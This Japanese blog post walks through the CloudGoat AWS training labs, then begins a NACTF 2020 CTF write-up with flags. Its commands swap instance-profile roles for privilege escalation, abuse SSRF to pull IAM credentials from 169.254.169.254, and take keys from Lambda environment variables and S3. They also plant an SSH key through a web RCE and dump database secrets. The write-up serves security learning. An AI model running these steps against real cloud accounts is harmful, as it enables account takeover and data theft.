% aws ec2 describe-instances --profile Kerrigan { "Reservations": [ { "Groups": [], "Instances": [ { "AmiLaunchIndex": 0, "ImageId": "ami-0a313d6098716f372", "InstanceId": "i-045b03b4ede5d26fa", "InstanceType": "t2.micro", (snip) "SubnetId": "subnet-0f21bf0e7045f0cca", "VpcId": "vpc-03763fbf983a2770d", "InterfaceType": "interface" } ], "RootDeviceName": "/dev/sda1", "RootDeviceType": "ebs", "SecurityGroups": [ { "GroupName": "cg-ec2-ssh-cgiddiwm2nknha", "GroupId": "sg-00297a27a3566b156" }, { "GroupName": "cg-ec2-http-cgiddiwm2nknha", "GroupId": "sg-02d2e441c51036ca2" } ], "SourceDestCheck": true, "Tags": [ { "Key": "Scenario", "Value": "iam-privesc-by-attachment" }, { "Key": "Name", "Value": "CloudGoat cgiddiwm2nknha super-critical-security-server EC2 Instance" }, (snip)
super-critical-security-server があることを確認。
ロールのリストを取得する。
% aws iam list-roles --profile Kerrigan { "Roles": [ (snip) { "Path": "/", "RoleName": "cg-ec2-meek-role-cgiddiwm2nknha", "RoleId": "A**************", "Arn": "arn:aws:iam::7***********:role/cg-ec2-meek-role-cgiddiwm2nknha", "CreateDate": "2020-10-26T06:40:17+00:00", "AssumeRolePolicyDocument": { "Version": "2012-10-17", "Statement": [ { "Effect": "Allow", "Principal": { "Service": "ec2.amazonaws.com" }, "Action": "sts:AssumeRole" } ] }, "MaxSessionDuration": 3600 }, { "Path": "/", "RoleName": "cg-ec2-mighty-role-cgiddiwm2nknha", "RoleId": "A**************", "Arn": "arn:aws:iam::7***********:role/cg-ec2-mighty-role-cgiddiwm2nknha", "CreateDate": "2020-10-26T06:40:17+00:00", "AssumeRolePolicyDocument": { "Version": "2012-10-17", "Statement": [ { "Effect": "Allow", "Principal": { "Service": "ec2.amazonaws.com" }, "Action": "sts:AssumeRole" } ] }, "MaxSessionDuration": 3600 } ] }
インスタンスプロファイルのリストを取得する。
% aws iam list-instance-profiles --profile Kerrigan { "InstanceProfiles": [ { "Path": "/", "InstanceProfileName": "cg-ec2-meek-instance-profile-cgiddiwm2nknha", "InstanceProfileId": "A**************", "Arn": "arn:aws:iam::7***********:instance-profile/cg-ec2-meek-instance-profile-cgiddiwm2nknha", "CreateDate": "2020-10-26T06:40:19+00:00", "Roles": [ { "Path": "/", "RoleName": "cg-ec2-meek-role-cgiddiwm2nknha", "RoleId": "A**************", "Arn": "arn:aws:iam::7***********:role/cg-ec2-meek-role-cgiddiwm2nknha", "CreateDate": "2020-10-26T06:40:17+00:00", "AssumeRolePolicyDocument": { "Version": "2012-10-17", "Statement": [ { "Effect": "Allow", "Principal": { "Service": "ec2.amazonaws.com" }, "Action": "sts:AssumeRole" } ] } } ] } ] }
ユーザの権限やロールについて細かく見ていきたいが、iamコマンドはほとんど権限エラーにより実行できない。
% aws iam get-instance-profile --instance-profile-name cg-ec2-meek-instance-profile-cgiddiwm2nknha --profile Kerrigan An error occurred (AccessDenied) when calling the GetInstanceProfile operation: User: arn:aws:iam::7***********:user/kerrigan is not authorized to perform: iam:GetInstanceProfile on resource: instance profile cg-ec2-meek-instance-profile-cgiddiwm2nknha
下記を見つつ、インスタンスプロファイルのロールを入れ替える。
インスタンスプロファイルの使用 - AWS Identity and Access Management
% aws iam remove-role-from-instance-profile --instance-profile-name cg-ec2-meek-instance-profile-cgiddiwm2nknha --role-name cg-ec2-meek-role-cgiddiwm2nknha --profile Kerrigan % aws iam add-role-to-instance-profile --instance-profile-name cg-ec2-meek-instance-profile-cgiddiwm2nknha --role-name cg-ec2-mighty-role-cgiddiwm2nknha --profile Kerrigan % aws iam list-instance-profiles --profile Kerrigan { "InstanceProfiles": [ { "Path": "/", "InstanceProfileName": "cg-ec2-meek-instance-profile-cgiddiwm2nknha", "InstanceProfileId": "A**************", "Arn": "arn:aws:iam::7***********:instance-profile/cg-ec2-meek-instance-profile-cgiddiwm2nknha", "CreateDate": "2020-10-26T06:40:19+00:00", "Roles": [ { "Path": "/", "RoleName": "cg-ec2-mighty-role-cgiddiwm2nknha", "RoleId": "A**************", "Arn": "arn:aws:iam::7***********:role/cg-ec2-mighty-role-cgiddiwm2nknha", "CreateDate": "2020-10-26T06:40:17+00:00", "AssumeRolePolicyDocument": { "Version": "2012-10-17", "Statement": [ { "Effect": "Allow", "Principal": { "Service": "ec2.amazonaws.com" }, "Action": "sts:AssumeRole" } ] } } ] } ] }
このインスタンスプロファイルを用いて、EC2インスタンスを作成する。
キーペア作成。
% aws ec2 create-key-pair --key-name mykey --query 'KeyMaterial' --output text --profile Kerrigan > mykey.pem % chmod 400 mykey.pem
% aws ec2 run-instances --image-id ami-0a313d6098716f372 --count 1 --instance-type t2.micro --key-name mykey --security-group-ids sg-00297a27a3566b156 --subnet-id subnet-0f21bf0e7045f0cca --profile Kerrigan { "Groups": [], "Instances": [ { "AmiLaunchIndex": 0, "ImageId": "ami-0a313d6098716f372", "InstanceId": "i-0cfdab8cc3cac014e", "InstanceType": "t2.micro", "KeyName": "mykey", (snip) "PublicDnsName": "ec2-34-205-39-12.compute-1.amazonaws.com", "PublicIpAddress": "34.**.**.**",
先程作ったインスタンスプロファイルをアタッチする。
% aws ec2 associate-iam-instance-profile --iam-instance-profile Name=cg-ec2-meek-instance-profile-cgiddiwm2nknha --instance-id i-0cfdab8cc3cac014e --profile Kerrigan { "IamInstanceProfileAssociation": { "AssociationId": "iip-assoc-0dc99a7c9c1c65fdc", "InstanceId": "i-0cfdab8cc3cac014e", "IamInstanceProfile": { "Arn": "arn:aws:iam::7***********:instance-profile/cg-ec2-meek-instance-profile-cgiddiwm2nknha", "Id": "A**************" } } }
作ったインスタンスにログインする。
ここでユーザー名がec2-userだと信じ込んでめちゃくちゃ詰まったが、ubuntuベースのイメージだったようだ。
(describe-imagesコマンドも使えないので、下記を見て色々試すしかない?)。
インスタンスに接続するための一般的な前提条件 - Amazon Elastic Compute Cloud
% ssh -i mykey.pem ubuntu@ec2-34-205-39-12.compute-1.amazonaws.com
ログインしたらaws cliをインストールし、super-critical-security-server インスタンスを終了する。
(リージョン未指定で実行するとaws configを勧められるが、Kerriganのプロファイルを設定したりしてはならない。Kerriganの権限になってしまうので)
$ sudo apt-get update (snip) $ sudo apt-get install awscli (snip) $ aws ec2 terminate-instances --instance-ids i-045b03b4ede5d26fa --region us-east-1 { "TerminatingInstances": [ { "CurrentState": { "Code": 32, "Name": "shutting-down" }, "InstanceId": "i-045b03b4ede5d26fa", "PreviousState": { "Code": 16, "Name": "running" } } ] }
インスタンスを終了することができた。
ec2_ssrf (Medium / Moderate)
IAMユーザSolusから始め、SSRF(サーバーサイドリクエストフォージェリ)脆弱性を悪用してEC2インスタンスのメタデータを取得し、S3バケットからキーを取得し、最終的にlambdaを実行するというシナリオ。
プロファイル作成。
% aws configure --profile Solus AWS Access Key ID [None]: A************** AWS Secret Access Key [None]: 9*************************** Default region name [None]: us-east-1 Default output format [None]:
lambdaのリストを取得する。
% aws lambda list-functions --profile Solus { "Functions": [ { "FunctionName": "cg-lambda-cgiddgrht8vvbl", "FunctionArn": "arn:aws:lambda:us-east-1:7***********:function:cg-lambda-cgiddgrht8vvbl", "Runtime": "python3.6", "Role": "arn:aws:iam::7***********:role/cg-lambda-role-cgiddgrht8vvbl-service-role", "Handler": "lambda.handler", "CodeSize": 223, "Description": "", "Timeout": 3, "MemorySize": 128, "LastModified": "2021-01-04T00:24:22.173+0000", "CodeSha256": "xt7bNZt3fzxtjSRjnuCKLV/dOnRCTVKM3D1u/BeK8zA=", "Version": "$LATEST", "Environment": { "Variables": { "EC2_ACCESS_KEY_ID": "A**************", "EC2_SECRET_KEY_ID": "P***************************" } }, "TracingConfig": { "Mode": "PassThrough" }, "RevisionId": "7c63ca8b-32a3-4cb0-930d-6f517763c68c" } ] }
lambdaの環境変数にアクセスキーとシークレットキーが保存されていた。
これを利用してプロファイルを設定する。
% aws configure --profile cglambda AWS Access Key ID [None]: A************** AWS Secret Access Key [None]: P*************************** Default region name [None]: us-east-1 Default output format [None]:
このプロファイルを利用してインスタンスを調査する。
% aws ec2 describe-instances --profile cglambda { "Reservations": [ (snip) { "Groups": [], "Instances": [ { "AmiLaunchIndex": 0, "ImageId": "ami-0a313d6098716f372", "InstanceId": "i-07f309fa8efbc0cd9", "InstanceType": "t2.micro", "KeyName": "cg-ec2-key-pair-cgiddgrht8vvbl", (snip) "PrivateDnsName": "ip-10-10-10-148.ec2.internal", "PrivateIpAddress": "10.10.10.148", "ProductCodes": [], "PublicDnsName": "ec2-3-237-242-98.compute-1.amazonaws.com", "PublicIpAddress": "3.**.**.**", (snip) "NetworkInterfaces": [ { "Association": { "IpOwnerId": "amazon", "PublicDnsName": "ec2-3-237-242-98.compute-1.amazonaws.com", "PublicIp": "3.**.**.**" }, "Attachment": { "AttachTime": "2021-01-04T00:24:35+00:00", "AttachmentId": "eni-attach-0d00af75a1683b4ff", "DeleteOnTermination": true, "DeviceIndex": 0, "Status": "attached" }, "Description": "", "Groups": [ { "GroupName": "cg-ec2-ssh-cgiddgrht8vvbl", "GroupId": "sg-06612a05324e1bbc1" }, { "GroupName": "cg-ec2-http-cgiddgrht8vvbl", "GroupId": "sg-08d0897fa5f8b836f" } ], "Ipv6Addresses": [], "MacAddress": "02:83:0e:dc:92:59", "NetworkInterfaceId": "eni-04f3ab75ab46575b3", "OwnerId": "7***********", "PrivateDnsName": "ip-10-10-10-148.ec2.internal", "PrivateIpAddress": "10.10.10.148", "PrivateIpAddresses": [ { "Association": { "IpOwnerId": "amazon", "PublicDnsName": "ec2-3-237-242-98.compute-1.amazonaws.com", "PublicIp": "3.**.**.**" }, "Primary": true, "PrivateDnsName": "ip-10-10-10-148.ec2.internal", "PrivateIpAddress": "10.10.10.148" } ], (snip) "SecurityGroups": [ { "GroupName": "cg-ec2-ssh-cgiddgrht8vvbl", "GroupId": "sg-06612a05324e1bbc1" }, { "GroupName": "cg-ec2-http-cgiddgrht8vvbl", "GroupId": "sg-08d0897fa5f8b836f" } ], "SourceDestCheck": true, "Tags": [ { "Key": "Name", "Value": "cg-ubuntu-ec2-cgiddgrht8vvbl" }, { "Key": "Scenario", "Value": "ec2-ssrf" }, { "Key": "Stack", "Value": "CloudGoat" } ], (snip) }
httpアクセスが許可されているのでルートディレクトリにアクセスしてみると、エラー。
urlパラメータが設定されていないエラーの模様。
そこで/?url=https://www.google.com/
にアクセスしてみると、レイアウトは崩れているが、googleの画面が表示される。
このurlパラメータにはssrf脆弱性があり、インスタンスからメタデータを参照可能なURLhttp://169.254.169.254/latest/meta-data/
などを受け付けてしまう。
http://ec2-3-237-242-98.compute-1.amazonaws.com/?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/cg-ec2-role-cgiddgrht8vvbl
を参照し、インスタンスのロールを使用する。
{ "Code" : "Success", "LastUpdated" : "2021-01-04T05:19:47Z", "Type" : "AWS-HMAC", "AccessKeyId" : "A**************", "SecretAccessKey" : "r***************************", "Token" : "(snip)", "Expiration" : "2021-01-04T11:23:31Z" }
クレデンシャル情報を~/.aws/credentials
に保存する。
[ec2role] aws_access_key_id = A************** aws_secret_access_key = r*************************** aws_session_token = (snip)
このロールを利用すると、s3にアクセス可能。
% aws s3 ls --profile ec2role 2021-01-04 09:24:14 cg-secret-s3-bucket-cgiddgrht8vvbl % aws s3 ls s3://cg-secret-s3-bucket-cgiddgrht8vvbl --profile ec2role 2021-01-04 09:24:28 62 admin-user.txt % aws s3 cp s3://cg-secret-s3-bucket-cgiddgrht8vvbl/admin-user.txt . --profile ec2role download: s3://cg-secret-s3-bucket-cgiddgrht8vvbl/admin-user.txt to ./admin-user.txt % cat admin-user.txt A************** M***************************
adminと思われるユーザの認証情報を取得できた。
~/.aws/credentials
に認証情報、~/.aws/config
にリージョンを書き込み、ゴールであるlambda実行を目指す。
% aws lambda invoke --function-name cg-lambda-cgiddgrht8vvbl output --profile admin-user { "StatusCode": 200, "ExecutedVersion": "$LATEST" } % cat output "You win!"
lambdaが実行できた。
rce_web_app (Medium / Hard)
このシナリオには二つのルートがある。
ユーザーLalaから始め、脆弱性のあるWebアプリケーション上のRCEを悪用して機密情報を取得し、最終的にRDSにアクセスするものと、あるいはユーザーMcDuckから始め、S3バケットを列挙し、SSHキーを用いてEC2インスタンス、データベースへの接続を行うというもの。
cloudgoat_output_aws_account_id = 7*********** cloudgoat_output_lara_access_key_id = A************** cloudgoat_output_lara_secret_key = M*************************** cloudgoat_output_mcduck_access_key_id = A************** cloudgoat_output_mcduck_secret_key = /***************************
まずプロファイルの設定。
regionは調査していくうちにus-east-1とわかったので、途中で設定した。
% aws configure --profile Lala AWS Access Key ID [None]: A************** AWS Secret Access Key [None]: M*************************** Default region name [None]: us-east-1 Default output format [None]: % aws configure --profile McDuck AWS Access Key ID [None]: A************** AWS Secret Access Key [None]: /*************************** Default region name [None]: us-east-1 Default output format [None]:
まずはMcDuckの方から。
% aws s3 ls --profile McDuck 2021-01-05 11:56:08 cg-keystore-s3-bucket-cgid2r2jsy7ea2 2021-01-05 11:56:07 cg-logs-s3-bucket-cgid2r2jsy7ea2 2021-01-05 11:56:07 cg-secret-s3-bucket-cgid2r2jsy7ea2 % aws s3 ls s3://cg-keystore-s3-bucket-cgid2r2jsy7ea2 --profile McDuck 2021-01-05 11:56:24 3389 cloudgoat 2021-01-05 11:56:24 747 cloudgoat.pub % aws s3 ls s3://cg-secret-s3-bucket-cgid2r2jsy7ea2 --profile McDuck An error occurred (AccessDenied) when calling the ListObjectsV2 operation: Access Denied % aws s3 cp s3://cg-keystore-s3-bucket-cgid2r2jsy7ea2/cloudgoat . --profile McDuck download: s3://cg-keystore-s3-bucket-cgid2r2jsy7ea2/cloudgoat to ./cloudgoat % file cloudgoat cloudgoat: OpenSSH private key
cg-secret-s3
にはアクセスできないが、cg-keystore-s3
の方にはアクセス可能。
s3://cg-keystore-s3-bucket-cgid2r2jsy7ea2/cloudgoat
が秘密鍵かも?ということでダウンロードする。
% aws ec2 describe-instances --profile McDuck { "Reservations": [ { "Groups": [], "Instances": [ { "AmiLaunchIndex": 0, "ImageId": "ami-0a313d6098716f372", "InstanceId": "i-0596d5ff28ec82eba", "InstanceType": "t2.micro", "KeyName": "cg-ec2-key-pair-cgid2r2jsy7ea2", (snip) "PrivateDnsName": "ip-10-0-10-172.ec2.internal", "PrivateIpAddress": "10.0.10.172", "ProductCodes": [], "PublicDnsName": "ec2-3-210-205-110.compute-1.amazonaws.com", "PublicIpAddress": "3.**.**.**", (snip) "NetworkInterfaces": [ { "Association": { "IpOwnerId": "amazon", "PublicDnsName": "ec2-3-210-205-110.compute-1.amazonaws.com", "PublicIp": "3.**.**.**" }, "Attachment": { "AttachTime": "2021-01-05T03:21:35+00:00", "AttachmentId": "eni-attach-098c1dff72961ca62", "DeleteOnTermination": true, "DeviceIndex": 0, "Status": "attached" }, "Description": "", "Groups": [ { "GroupName": "cg-ec2-ssh-cgid2r2jsy7ea2", "GroupId": "sg-0bce043c5a9068906" }, { "GroupName": "cg-ec2-http-cgid2r2jsy7ea2", "GroupId": "sg-0f6a9a28432225095" } ], (snip) "SecurityGroups": [ { "GroupName": "cg-ec2-ssh-cgid2r2jsy7ea2", "GroupId": "sg-0bce043c5a9068906" }, { "GroupName": "cg-ec2-http-cgid2r2jsy7ea2", "GroupId": "sg-0f6a9a28432225095" } ], "SourceDestCheck": true, "Tags": [ { "Key": "Name", "Value": "cg-ubuntu-ec2-cgid2r2jsy7ea2" }, { "Key": "Stack", "Value": "CloudGoat" }, { "Key": "Scenario", "Value": "rce-web-app" } ], (snip) }
タグにubuntuとあるのでubunutuでログインする。
% ssh -i cloudgoat ubuntu@3.**.**.** Welcome to Ubuntu 18.04.2 LTS (GNU/Linux 4.15.0-1032-aws x86_64) (snip) ubuntu@ip-10-0-10-172:~$ apt-get update (snip) root@ip-10-0-10-172:~# apt-get install awscli (snip)
このインスタンスからcg-secret-s3
にアクセスできるか試す。
(なおこのインスタンスのプロファイルは、このインスタンスやMcDuckの権限では見られなかった)
root@ip-10-0-10-172:~# aws s3 ls 2021-01-05 02:56:08 cg-keystore-s3-bucket-cgid2r2jsy7ea2 2021-01-05 02:56:07 cg-logs-s3-bucket-cgid2r2jsy7ea2 2021-01-05 02:56:07 cg-secret-s3-bucket-cgid2r2jsy7ea2 root@ip-10-0-10-172:~# aws s3 ls s3://cg-secret-s3-bucket-cgid2r2jsy7ea2 2021-01-05 02:56:24 282 db.txt root@ip-10-0-10-172:~# aws s3 cp s3://cg-secret-s3-bucket-cgid2r2jsy7ea2/db.txt . download: s3://cg-secret-s3-bucket-cgid2r2jsy7ea2/db.txt to ./db.txt root@ip-10-0-10-172:~# cat db.txt Dear Tomas - For the LAST TIME, here are the database credentials. Save them to your password manager, and delete this file when you've done so! This is definitely in breach of our security policies!!!! DB name: cloudgoat Username: cgadmin Password: Purplepwny2029 Sincerely,
DBの接続情報が得られた。
root@ip-10-0-10-172:~# aws rds describe-db-instances --region us-east-1 { "DBInstances": [ { "DBInstanceIdentifier": "cg-rds-instance-cgid2r2jsy7ea2", "DBInstanceClass": "db.t2.micro", "Engine": "postgres", "DBInstanceStatus": "available", "MasterUsername": "cgadmin", "DBName": "cloudgoat", "Endpoint": { "Address": "cg-rds-instance-cgid2r2jsy7ea2.cen1twfmlpzd.us-east-1.rds.amazonaws.com", "Port": 5432, "HostedZoneId": "Z2R2ITUGPM61AM" }, (snip) "DBParameterGroups": [ { "DBParameterGroupName": "default.postgres9.6", "ParameterApplyStatus": "in-sync" } ], "AvailabilityZone": "us-east-1b", "DBSubnetGroup": { "DBSubnetGroupName": "cloud-goat-rds-subnet-group-cgid2r2jsy7ea2", "DBSubnetGroupDescription": "CloudGoat cgid2r2jsy7ea2 Subnet Group", "VpcId": "vpc-0b5602eac7774a199", "SubnetGroupStatus": "Complete", "Subnets": [ { "SubnetIdentifier": "subnet-0402e51078f5ca5b0", "SubnetAvailabilityZone": { "Name": "us-east-1a" }, "SubnetStatus": "Active" }, { "SubnetIdentifier": "subnet-02d780195cd136c73", "SubnetAvailabilityZone": { "Name": "us-east-1b" }, "SubnetStatus": "Active" } ] }, (snip) }
postgresのようなので、下記を見ながらDBに接続。
PostgreSQL DB インスタンスを作成して PostgreSQL DB インスタンスのデータベースに接続する - Amazon Relational Database Service
root@ip-10-0-10-172:~# psql --host=cg-rds-instance-cgid2r2jsy7ea2.cen1twfmlpzd.us-east-1.rds.amazonaws.com --port=5432 --username=cgadmin --password --dbname=cloudgoat Password for user cgadmin: psql (10.15 (Ubuntu 10.15-0ubuntu0.18.04.1), server 9.6.19) SSL connection (protocol: TLSv1.2, cipher: ECDHE-RSA-AES256-GCM-SHA384, bits: 256, compression: off) Type "help" for help. cloudgoat=>
接続できた。
後は中身を掘っていく。
cloudgoat=> \dt List of relations Schema | Name | Type | Owner --------+-----------------------+-------+--------- public | sensitive_information | table | cgadmin (1 row) cloudgoat=> select * from sensitive_information; name | value -----------------------+---------------------------- Super-secret-passcode | V!C70RY-4hy2809gnbv40h8g4b (1 row)
隠された文字列を取得できた。
次に、ユーザーLala側のシナリオを実施する。
まずはs3を見てみる。
% aws s3 ls s3://cg-keystore-s3-bucket-cgid2r2jsy7ea2 --profile Lala An error occurred (AccessDenied) when calling the ListObjectsV2 operation: Access Denied % aws s3 ls s3://cg-secret-s3-bucket-cgid2r2jsy7ea2 --profile Lala An error occurred (AccessDenied) when calling the ListObjectsV2 operation: Access Denied % aws s3 ls s3://cg-logs-s3-bucket-cgid2r2jsy7ea2 --profile Lala PRE cg-lb-logs/ % aws s3 ls s3://cg-logs-s3-bucket-cgid2r2jsy7ea2 --recursive --profile Lala 2021-01-05 11:58:02 95 cg-lb-logs/AWSLogs/746321857124/ELBAccessLogTestFile 2021-01-05 11:56:25 18367 cg-lb-logs/AWSLogs/746321857124/elasticloadbalancing/us-east-1/2019/06/19/555555555555_elasticloadbalancing_us-east-1_app.cg-lb-cgidp347lhz47g.d36d4f13b73c2fe7_20190618T2140Z_10.10.10.100_5m9btchz.log
cb-lb-logsというプレフィックスが存在する。
(プレフィックスについてよく知らなかったので調べた)
Amazon S3 のプレフィックスとネストされたフォルダの違いを理解する
上記のELB関連のファイルとログをダウンロードしておく。
ログの内容は下記のようなものが並んでいる。
http 2019-06-18T21:36:23.594569Z app/cg-lb-cgidp347lhz47g/d36d4f13b73c2fe7 10.10.10.23:5132 10.0.10.254:9000 0.001 0.001 0.000 200 200 485 1287 "GET http://cg-lb-cgidp143lhz47g-6811174442.us-east-1.elb.amazonaws.com:80/mkja1xijqf0abo1h9glg.html HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.90 Safari/537.36" - - arn:aws:elasticloadbalancing:us-east-1:555555555555:targetgroup/cg-target-group-cgidp347lhz47g/a5700c43a71e4c94 "Root=1-5d095963-e2b838a764ed31d017b74cce" "-" "-" 0 2019-06-18T21:36:35.592000Z "forward" "-" "-"
さらに、ELBを見てみる。
% aws elbv2 describe-load-balancers --profile Lala { "LoadBalancers": [ { "LoadBalancerArn": "arn:aws:elasticloadbalancing:us-east-1:7***********:loadbalancer/app/cg-lb-cgid2r2jsy7ea2/380dab576765974a", "DNSName": "cg-lb-cgid2r2jsy7ea2-1136573408.us-east-1.elb.amazonaws.com", "CanonicalHostedZoneId": "Z35SXDOTRQ7X7K", "CreatedTime": "2021-01-05T02:56:29.710000+00:00", "LoadBalancerName": "cg-lb-cgid2r2jsy7ea2", "Scheme": "internet-facing", "VpcId": "vpc-0b5602eac7774a199", "State": { "Code": "active" }, "Type": "application", "AvailabilityZones": [ { "ZoneName": "us-east-1b", "SubnetId": "subnet-034b97f262e450858", "LoadBalancerAddresses": [] }, { "ZoneName": "us-east-1a", "SubnetId": "subnet-0e254816a74359998", "LoadBalancerAddresses": [] } ], "SecurityGroups": [ "sg-0e27235925f096231" ], "IpAddressType": "ipv4" } ] }
ログに書かれていたパスと上記のDNS名を組み合わせてアクセスすると、http://cg-lb-cgid2r2jsy7ea2-1136573408.us-east-1.elb.amazonaws.com/mkja1xijqf0abo1h9glg.html
にアクセスすると、下記になる。
このサイトは任意のコードが実行可能。
ここで、インスタンス情報を見ると、
(なお、この辺りでめちゃくちゃ詰まって答えを見た…)
% aws ec2 describe-instances --profile Lala { "Reservations": [ { "Groups": [], "Instances": [ { "AmiLaunchIndex": 0, "ImageId": "ami-0a313d6098716f372", "InstanceId": "i-0596d5ff28ec82eba", "InstanceType": "t2.micro", "KeyName": "cg-ec2-key-pair-cgid2r2jsy7ea2", (snip) "PrivateDnsName": "ip-10-0-10-172.ec2.internal", "PrivateIpAddress": "10.0.10.172", "ProductCodes": [], "PublicDnsName": "ec2-3-210-205-110.compute-1.amazonaws.com", "PublicIpAddress": "3.**.**.**", "State": { "Code": 16, "Name": "running" }, "StateTransitionReason": "", "SubnetId": "subnet-0e254816a74359998", "VpcId": "vpc-0b5602eac7774a199", (snip) "NetworkInterfaces": [ { "Association": { "IpOwnerId": "amazon", "PublicDnsName": "ec2-3-210-205-110.compute-1.amazonaws.com", "PublicIp": "3.**.**.**" }, "Attachment": { "AttachTime": "2021-01-05T03:21:35+00:00", "AttachmentId": "eni-attach-098c1dff72961ca62", "DeleteOnTermination": true, "DeviceIndex": 0, "Status": "attached" }, "Description": "", "Groups": [ { "GroupName": "cg-ec2-ssh-cgid2r2jsy7ea2", "GroupId": "sg-0bce043c5a9068906" }, { "GroupName": "cg-ec2-http-cgid2r2jsy7ea2", "GroupId": "sg-0f6a9a28432225095" } ], (snip) "SecurityGroups": [ { "GroupName": "cg-ec2-ssh-cgid2r2jsy7ea2", "GroupId": "sg-0bce043c5a9068906" }, { "GroupName": "cg-ec2-http-cgid2r2jsy7ea2", "GroupId": "sg-0f6a9a28432225095" } ], "SourceDestCheck": true, "Tags": [ { "Key": "Name", "Value": "cg-ubuntu-ec2-cgid2r2jsy7ea2" }, { "Key": "Stack", "Value": "CloudGoat" }, { "Key": "Scenario", "Value": "rce-web-app" } ], (snip) }
sshが可能そうなセキュリティグループが設定されている。
手元で% ssh-keygen -t rsa -b 2048
コマンドを実行してキーペアを作成(鍵長が長すぎるとechoコマンドが失敗する)、
echo "[id_rsa.pubの内容]" >> /home/ubuntu/.ssh/authorized_keys
を実行し、インスタンスのauthorized_keysに公開鍵を登録する。
(whoamiを実行すると、コマンドの実行ユーザがrootであることがわかるので、ubuntuユーザに設定する場合はフルパスで指定する)
これで手元の秘密鍵でインスタンスにログインが可能になる。
% ssh -i id_rsa ubuntu@3.**.**.** Welcome to Ubuntu 18.04.2 LTS (GNU/Linux 4.15.0-1032-aws x86_64) (snip) ubuntu@ip-10-0-10-172:~$
ここで、curl http://169.254.169.254/latest/user-data
を実行すると、下記の起動コマンドが得られる。
(ユーザーデータについては下記)
インスタンスユーザーデータの使用 - Amazon Elastic Compute Cloud
#!/bin/bash apt-get update curl -sL https://deb.nodesource.com/setup_8.x | sudo -E bash - DEBIAN_FRONTEND=noninteractive apt-get install -y nodejs postgresql-client unzip psql postgresql://cgadmin:Purplepwny2029@cg-rds-instance-cgid2r2jsy7ea2.cen1twfmlpzd.us-east-1.rds.amazonaws.com:5432/cloudgoat \ -c "CREATE TABLE sensitive_information (name VARCHAR(50) NOT NULL, value VARCHAR(50) NOT NULL);" psql postgresql://cgadmin:Purplepwny2029@cg-rds-instance-cgid2r2jsy7ea2.cen1twfmlpzd.us-east-1.rds.amazonaws.com:5432/cloudgoat \ -c "INSERT INTO sensitive_information (name,value) VALUES ('Super-secret-passcode',E'V\!C70RY-4hy2809gnbv40h8g4b');" sleep 15s cd /home/ubuntu unzip app.zip -d ./app cd app node index.js & echo -e "\n* * * * * root node /home/ubuntu/app/index.js &\n* * * * * root sleep 10; curl GET http://cg-lb-cgid2r2jsy7ea2-1136573408.us-east-1.elb.amazonaws.com/mkja1xijqf0abo1h9glg.html &\n* * * * * root sleep 10; node /home/ubuntu/app/index.js &\n* * * * * root sleep 20; node /home/ubuntu/app/index.js &\n* * * * * root sleep 30; node /home/ubuntu/app/index.js &\n* * * * * root sleep 40; node /home/ubuntu/app/index.js &\n* * * * * root sleep 50; node /home/ubuntu/app/index.js &\n" >> /etc/crontab
DBの接続情報が書かれているので、これを用いて接続してみる。
接続できれば、後はMcDuckの時と同じ。
ubuntu@ip-10-0-10-172:~$ psql postgresql://cgadmin:Purplepwny2029@cg-rds-instance-cgid2r2jsy7ea2.cen1twfmlpzd.us-east-1.rds.amazonaws.com:5432/cloudgoat psql (10.15 (Ubuntu 10.15-0ubuntu0.18.04.1), server 9.6.19) SSL connection (protocol: TLSv1.2, cipher: ECDHE-RSA-AES256-GCM-SHA384, bits: 256, compression: off) Type "help" for help. cloudgoat=> \dt List of relations Schema | Name | Type | Owner --------+-----------------------+-------+--------- public | sensitive_information | table | cgadmin (1 row) cloudgoat=> select * from sensitive_information; name | value -----------------------+---------------------------- Super-secret-passcode | V!C70RY-4hy2809gnbv40h8g4b (1 row)
ssrfやrceのシナリオはメタデータサービスv2を使えばこんなに簡単に攻撃はできなくなると思う。
[待望のアプデ]EC2インスタンスメタデータサービスv2がリリースされてSSRF脆弱性等への攻撃に対するセキュリティが強化されました! | Developers.IO
Newark Academy CTF 2020 writeup
昔の仲間と参加しました。
チームで58位4700点、私はそのうち2755点を取りました。
開催時間が長かったので、途中体調崩したりしてたんですが、やりたいだけやれて良かったです。
- Generic Flag Checker® 1 (Reverse Engineering)
- Generic Flag Checker® 2 (Reverse Engineering)
- Patches (Reverse Engineering)
- Basics (General Skills)
- Grep 0 (General Skills)
- Greeter (Binary Exploitation)
- dROPit (Binary Exploitation)
- Numbers (General Skills)
- Dr. J's Vegetable Factory #1 🥕 (General Skills)
- YAMS (Cryptography)
- Oligar's Tricky RSA (Cryptography)
- Error 0 (Cryptography)
- Dr. J's Vegetable Factory #2 🥕 (General Skills)
- Glee (Reverse Engineering)
- Zip Madness (General Skills)
- Packed (Reverse Engineering)
Generic Flag Checker® 1 (Reverse Engineering)
stringsで見られる。
flag: nactf{un10ck_th3_s3cr3t5_w1th1n_cJfnX3Ly4DxoWd5g}
Generic Flag Checker® 2 (Reverse Engineering)
入力した文字列をstrncmpで比較している。
ltraceで比較先の文字列を出力した。
$ ltrace -s 100 ./gfc2 puts("what's the flag?"what's the flag? ) = 17 fgets(a "a\n", 64, 0x7f96d9d7b980) = 0x7ffc80ef01b0 fmemopen(0, 256, 0x55f3e722a015, 62) = 0x55f3e8f0ec00 fprintf(0x55f3e8f0ec00, "%0*o24\n%n", 28, 026602427217, 0x7ffc80ef0098) = 31 fseek(0x55f3e8f0ec00, 0, 0, 0) = 0 __isoc99_fscanf(0x55f3e8f0ec00, 0x55f3e722a022, 0x7ffc80ef009c, 0) = 1 fclose(0x55f3e8f0ec00) = 0 strncmp("a", "nactf{s0m3t1m3s_dyn4m1c_4n4lys1s_w1n5_gKSz3g6RiFGkskXx}", 56) = -13 puts("nope, not this time!"nope, not this time! ) = 21 +++ exited (status 1) +++
flag: nactf{s0m3t1m3s_dyn4m1c_4n4lys1s_w1n5_gKSz3g6RiFGkskXx}
Patches (Reverse Engineering)
flag出力関数はあるがどこからも呼ばれないという問題。
パッチしてほしそうなタイトルだがやり方が分からなかったので、RIPを書き換えた。
gdb-peda$ jump *print_flag Continuing at 0x555555555261. nactf{unl0ck_s3cr3t_funct10n4l1ty_w1th_b1n4ry_p4tch1ng_L9fcKhyPupGVfCMZ}
flag: nactf{unl0ck_s3cr3t_funct10n4l1ty_w1th_b1n4ry_p4tch1ng_L9fcKhyPupGVfCMZ}
Basics (General Skills)
Base64デコード
flag: nactf{ba535_ar3_sw33t}
